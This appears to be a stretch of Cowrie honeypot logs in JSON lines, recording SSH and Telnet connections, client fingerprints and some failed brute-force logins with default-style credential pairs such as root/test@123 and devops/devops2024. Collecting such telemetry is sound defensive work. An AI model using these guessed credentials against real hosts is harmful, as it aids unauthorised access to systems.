{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:11.153933Z","src_ip":"211.186.79.173","session":"7b10122b5b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"server","message":"login attempt [ts3server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:11.930583Z","src_ip":"211.186.79.173","session":"7b10122b5b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.299391746520996,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:12.729915Z","src_ip":"209.205.218.26","session":"629926e1c95f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:13.120285Z","src_ip":"211.186.79.173","session":"7b10122b5b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.28092002868652,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:14.214111Z","src_ip":"209.205.218.26","session":"bbe1ac6b0c7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38446593284607,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:16.597797Z","src_ip":"209.205.218.26","session":"90dc489f4d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.02269244194031,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:19.092698Z","src_ip":"209.205.218.26","session":"2b4448acf9e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c153d4611bf","protocol":"telnet","message":"New connection: 209.205.218.26:51314 (10.17.0.5:23) [session: 5c153d4611bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:19.878839Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":51447,"dst_ip":"10.17.0.5","dst_port":23,"session":"f216370c1434","protocol":"telnet","message":"New connection: 209.205.218.26:51447 (10.17.0.5:23) [session: f216370c1434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:20.779654Z"}
{"eventid":"cowrie.session.closed","duration":36.433369398117065,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:21.842882Z","src_ip":"209.205.218.26","session":"5f1797cc41dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":48330,"dst_ip":"159.203.135.109","dst_port":22,"session":"2462179ee0fa","protocol":"ssh","message":"New connection: 4.213.160.153:48330 (159.203.135.109:22) [session: 2462179ee0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:23.262191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:23.267948Z","src_ip":"4.213.160.153","session":"2462179ee0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:23.462302Z","src_ip":"4.213.160.153","session":"2462179ee0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79584336280823,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:23.861645Z","src_ip":"209.205.218.26","session":"c0e26491323e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:24.269497Z","src_ip":"4.213.160.153","session":"2462179ee0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:25.482341Z","src_ip":"4.213.160.153","session":"2462179ee0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.12440037727356,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:25.871074Z","src_ip":"209.205.218.26","session":"7b0f2cc78388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00310206413269,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:28.766641Z","src_ip":"209.205.218.26","session":"27d40bae37c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.98425579071045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:29.010536Z","src_ip":"209.205.218.26","session":"daf5be520620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.65013146400452,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:34.580873Z","src_ip":"209.205.218.26","session":"c5ad96050b8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":35490,"dst_ip":"159.203.135.109","dst_port":22,"session":"06ed7a270e63","protocol":"ssh","message":"New connection: 185.9.193.111:35490 (159.203.135.109:22) [session: 06ed7a270e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:41.658204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:41.662553Z","src_ip":"185.9.193.111","session":"06ed7a270e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:41.869509Z","src_ip":"185.9.193.111","session":"06ed7a270e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops2024","message":"login attempt [devops/devops2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:42.699560Z","src_ip":"185.9.193.111","session":"06ed7a270e63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:43.898160Z","src_ip":"185.9.193.111","session":"06ed7a270e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.201.83.165","src_port":34672,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b62ff3d636c","protocol":"telnet","message":"New connection: 80.201.83.165:34672 (159.203.135.109:23) [session: 5b62ff3d636c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:50.123059Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":49868,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd8d23bd039c","protocol":"ssh","message":"New connection: 36.93.249.106:49868 (159.203.135.109:22) [session: bd8d23bd039c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:52.206670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:52.212278Z","src_ip":"36.93.249.106","session":"bd8d23bd039c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:52.486391Z","src_ip":"36.93.249.106","session":"bd8d23bd039c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodeuser","password":"nodeuser","message":"login attempt [nodeuser/nodeuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:53.595582Z","src_ip":"36.93.249.106","session":"bd8d23bd039c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":55585,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11d24516bb5","protocol":"telnet","message":"New connection: 209.205.218.26:55585 (10.17.0.5:23) [session: f11d24516bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:54.230772Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:54.869371Z","src_ip":"36.93.249.106","session":"bd8d23bd039c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":55711,"dst_ip":"10.17.0.5","dst_port":23,"session":"8335b32ed630","protocol":"telnet","message":"New connection: 209.205.218.26:55711 (10.17.0.5:23) [session: 8335b32ed630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:55.554092Z"}
{"eventid":"cowrie.session.closed","duration":36.15071249008179,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:56.029451Z","src_ip":"209.205.218.26","session":"5c153d4611bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.40362787246704,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:57.320888Z","src_ip":"209.205.218.26","session":"8406f68ba026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.78443431854248,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:57.563989Z","src_ip":"209.205.218.26","session":"f216370c1434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.10","src_port":44780,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a72c6b8ea45","protocol":"ssh","message":"New connection: 85.217.149.10:44780 (10.17.0.5:22) [session: 2a72c6b8ea45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:59.359159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:59.386928Z","src_ip":"85.217.149.10","session":"2a72c6b8ea45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:59.391340Z","src_ip":"85.217.149.10","session":"2a72c6b8ea45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:49:59.449370Z","src_ip":"85.217.149.10","session":"2a72c6b8ea45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":63414,"dst_ip":"159.203.135.109","dst_port":22,"session":"424d262bd3fa","protocol":"ssh","message":"New connection: 31.57.216.11:63414 (159.203.135.109:22) [session: 424d262bd3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:09.716698Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:09.722339Z","src_ip":"31.57.216.11","session":"424d262bd3fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":63430,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d650c8f9e58","protocol":"ssh","message":"New connection: 31.57.216.11:63430 (159.203.135.109:22) [session: 6d650c8f9e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:09.926899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:09.936927Z","src_ip":"31.57.216.11","session":"6d650c8f9e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:10.046867Z","src_ip":"31.57.216.11","session":"6d650c8f9e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"111111","message":"login attempt [osmc/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:10.410184Z","src_ip":"31.57.216.11","session":"6d650c8f9e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:11.518532Z","src_ip":"31.57.216.11","session":"6d650c8f9e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":38514,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffa69595bc21","protocol":"ssh","message":"New connection: 4.213.160.153:38514 (159.203.135.109:22) [session: ffa69595bc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:25.261549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:50:25.266349Z","src_ip":"4.213.160.153","session":"ffa69595bc21","protocol":"ssh"}
